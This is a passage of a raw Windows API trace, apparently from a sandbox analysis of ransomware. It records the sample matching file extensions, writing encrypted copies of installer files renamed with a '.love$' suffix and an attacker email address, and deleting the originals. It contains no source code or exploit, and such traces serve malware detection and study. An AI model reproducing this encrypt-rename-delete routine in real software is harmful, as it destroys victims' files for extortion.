(lpString=".7z") returned 3 [0100.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.384] lstrlenW (lpString=".dbf") returned 4 [0100.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.384] lstrlenW (lpString=".1cd") returned 4 [0100.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.384] lstrlenW (lpString=".jpg") returned 4 [0100.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.384] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0100.384] lstrlenW (lpString="eula.rtf") returned 8 [0100.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.385] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4254) returned 1 [0100.385] CloseHandle (hObject=0x354) returned 1 [0100.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0100.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.386] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.386] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.386] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0100.386] GetLastError () returned 0x0 [0100.386] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x109e, lpOverlapped=0x0) returned 1 [0100.390] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0100.392] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.392] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0100.392] SetEndOfFile (hFile=0x318) returned 1 [0100.392] CloseHandle (hObject=0x318) returned 1 [0100.393] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.393] SetEndOfFile (hFile=0x354) returned 1 [0100.394] CloseHandle (hObject=0x354) returned 1 [0100.395] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.395] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0100.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.395] lstrlenW (lpString=".doc") returned 4 [0100.395] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.395] lstrlenW (lpString=".docx") returned 5 [0100.396] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.396] lstrlenW (lpString=".pdf") returned 4 [0100.396] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.396] lstrlenW (lpString=".xls") returned 4 [0100.396] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.396] lstrlenW (lpString=".xlsx") returned 5 [0100.396] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.396] lstrlenW (lpString=".ppt") returned 4 [0100.396] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.396] lstrlenW (lpString=".zip") returned 4 [0100.396] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.396] lstrlenW (lpString=".rar") returned 4 [0100.396] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.396] lstrlenW (lpString=".bz2") returned 4 [0100.396] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.396] lstrlenW (lpString=".7z") returned 3 [0100.396] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.396] lstrlenW (lpString=".dbf") returned 4 [0100.396] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.396] lstrlenW (lpString=".1cd") returned 4 [0100.396] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.396] lstrlenW (lpString=".jpg") returned 4 [0100.396] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.397] lstrlenW (lpString=".doc") returned 4 [0100.397] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.397] lstrlenW (lpString=".docx") returned 5 [0100.397] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.397] lstrlenW (lpString=".pdf") returned 4 [0100.397] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.397] lstrlenW (lpString=".xls") returned 4 [0100.397] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.397] lstrlenW (lpString=".xlsx") returned 5 [0100.397] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.397] lstrlenW (lpString=".ppt") returned 4 [0100.397] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.397] lstrlenW (lpString=".zip") returned 4 [0100.397] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.397] lstrlenW (lpString=".rar") returned 4 [0100.397] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.397] lstrlenW (lpString=".bz2") returned 4 [0100.397] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.397] lstrlenW (lpString=".7z") returned 3 [0100.397] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.397] lstrlenW (lpString=".dbf") returned 4 [0100.397] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.398] lstrlenW (lpString=".1cd") returned 4 [0100.398] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0100.398] lstrlenW (lpString=".jpg") returned 4 [0100.398] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.398] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0100.398] lstrlenW (lpString="LocalizedData.xml") returned 17 [0100.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.398] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=86442) returned 1 [0100.398] CloseHandle (hObject=0x354) returned 1 [0100.399] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0100.399] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.399] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.399] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0100.400] GetLastError () returned 0x0 [0100.400] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x151aa, lpOverlapped=0x0) returned 1 [0100.702] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x151b0, lpOverlapped=0x0) returned 1 [0100.707] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.707] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0100.708] SetEndOfFile (hFile=0x318) returned 1 [0100.708] CloseHandle (hObject=0x318) returned 1 [0100.712] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.712] SetEndOfFile (hFile=0x354) returned 1 [0100.715] CloseHandle (hObject=0x354) returned 1 [0100.715] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.715] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0100.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.716] lstrlenW (lpString=".doc") returned 4 [0100.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.716] lstrlenW (lpString=".docx") returned 5 [0100.716] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.716] lstrlenW (lpString=".pdf") returned 4 [0100.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.716] lstrlenW (lpString=".xls") returned 4 [0100.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.716] lstrlenW (lpString=".xlsx") returned 5 [0100.716] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.716] lstrlenW (lpString=".ppt") returned 4 [0100.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.717] lstrlenW (lpString=".zip") returned 4 [0100.717] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.717] lstrlenW (lpString=".rar") returned 4 [0100.717] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString=".bz2") returned 4 [0100.717] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString=".7z") returned 3 [0100.717] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.717] lstrlenW (lpString=".dbf") returned 4 [0100.717] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.717] lstrlenW (lpString=".1cd") returned 4 [0100.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.717] lstrlenW (lpString=".jpg") returned 4 [0100.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.717] lstrlenW (lpString=".doc") returned 4 [0100.717] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.717] lstrlenW (lpString=".docx") returned 5 [0100.717] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.717] lstrlenW (lpString=".pdf") returned 4 [0100.717] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString=".xls") returned 4 [0100.718] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString=".xlsx") returned 5 [0100.718] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.718] lstrlenW (lpString=".ppt") returned 4 [0100.718] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.718] lstrlenW (lpString=".zip") returned 4 [0100.718] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.718] lstrlenW (lpString=".rar") returned 4 [0100.718] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString=".bz2") returned 4 [0100.718] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString=".7z") returned 3 [0100.718] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.718] lstrlenW (lpString=".dbf") returned 4 [0100.718] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.718] lstrlenW (lpString=".1cd") returned 4 [0100.718] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0100.718] lstrlenW (lpString=".jpg") returned 4 [0100.718] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.719] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0100.719] lstrlenW (lpString="LocalizedData.xml") returned 17 [0100.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.720] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=68226) returned 1 [0100.720] CloseHandle (hObject=0x354) returned 1 [0100.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0100.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.720] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.720] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0100.721] GetLastError () returned 0x0 [0100.721] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0100.726] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0100.729] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.729] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0100.729] SetEndOfFile (hFile=0x318) returned 1 [0100.729] CloseHandle (hObject=0x318) returned 1 [0100.732] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.732] SetEndOfFile (hFile=0x354) returned 1 [0100.733] CloseHandle (hObject=0x354) returned 1 [0100.734] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.734] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0100.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.734] lstrlenW (lpString=".doc") returned 4 [0100.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString=".docx") returned 5 [0100.735] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.735] lstrlenW (lpString=".pdf") returned 4 [0100.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString=".xls") returned 4 [0100.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString=".xlsx") returned 5 [0100.735] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.735] lstrlenW (lpString=".ppt") returned 4 [0100.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.735] lstrlenW (lpString=".zip") returned 4 [0100.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.735] lstrlenW (lpString=".rar") returned 4 [0100.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString=".bz2") returned 4 [0100.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString=".7z") returned 3 [0100.735] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.735] lstrlenW (lpString=".dbf") returned 4 [0100.735] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.735] lstrlenW (lpString=".1cd") returned 4 [0100.735] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.735] lstrlenW (lpString=".jpg") returned 4 [0100.735] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.736] lstrlenW (lpString=".doc") returned 4 [0100.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString=".docx") returned 5 [0100.736] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.736] lstrlenW (lpString=".pdf") returned 4 [0100.736] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString=".xls") returned 4 [0100.736] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString=".xlsx") returned 5 [0100.736] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.736] lstrlenW (lpString=".ppt") returned 4 [0100.736] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.736] lstrlenW (lpString=".zip") returned 4 [0100.736] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.736] lstrlenW (lpString=".rar") returned 4 [0100.736] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString=".bz2") returned 4 [0100.736] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.736] lstrlenW (lpString=".7z") returned 3 [0100.736] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.736] lstrlenW (lpString=".dbf") returned 4 [0100.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.737] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.737] lstrlenW (lpString=".1cd") returned 4 [0100.737] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.737] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0100.737] lstrlenW (lpString=".jpg") returned 4 [0100.737] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.737] Sleep (dwMilliseconds=0x64) [0101.138] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0101.138] lstrlenW (lpString="eula.rtf") returned 8 [0101.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.139] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3546) returned 1 [0101.139] CloseHandle (hObject=0x318) returned 1 [0101.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0101.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.140] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.140] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0101.140] GetLastError () returned 0x0 [0101.140] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, 